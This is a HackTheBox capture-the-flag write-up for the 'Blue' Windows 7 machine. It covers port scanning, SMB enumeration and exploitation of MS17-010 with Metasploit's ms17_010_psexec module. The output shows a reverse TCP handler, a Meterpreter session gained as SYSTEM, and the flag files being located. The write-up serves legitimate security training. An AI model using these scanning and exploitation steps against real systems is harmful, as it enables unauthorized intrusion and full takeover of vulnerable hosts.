HTB - Blue

Overview

Machine	Blue
Rank	Easy
Time	23m
Focus	MS17-010

1. Information Gathering

# port scanning
sudo nmap -sS -sC -sV -O -Pn --min-rate 10000 -p- blue

PORT      STATE    SERVICE      VERSION
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
4914/tcp  filtered bones

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 2s, median: 1s
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-12-05T16:08:57+00:00
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-12-05T16:08:56
|_  start_date: 2023-12-05T13:29:32
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

2. SMB Enumeration

# enumerating smb shares
smbclient -N -L //blue

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to blue failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

# enumerating Users share
smbclient //blue/Users
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Fri Jul 21 07:56:23 2017
  ..                                 DR        0  Fri Jul 21 07:56:23 2017
  Default                           DHR        0  Tue Jul 14 08:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 05:54:24 2009
  Public                             DR        0  Tue Apr 12 08:51:29 2011

                4692735 blocks of size 4096. 657974 blocks available

Nothing interesting within Users share.

3. Initial Foothold

# Metasploit's ms17_010 module
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.10.14.14:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.40:49158) at 2023-12-05 16:27:16 +0000

# checking user's access
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# getting user.txt
C:\Windows\system32>dir c:\users\haris\desktop
dir c:\users\haris\desktop
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of c:\users\haris\desktop

24/12/2017  02:23    <DIR>          .
24/12/2017  02:23    <DIR>          ..
05/12/2023  13:29                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,695,049,216 bytes free

# getting root.txt
C:\Windows\system32>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of c:\users\administrator\desktop

24/12/2017  02:22    <DIR>          .
24/12/2017  02:22    <DIR>          ..
05/12/2023  13:29                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,695,049,216 bytes free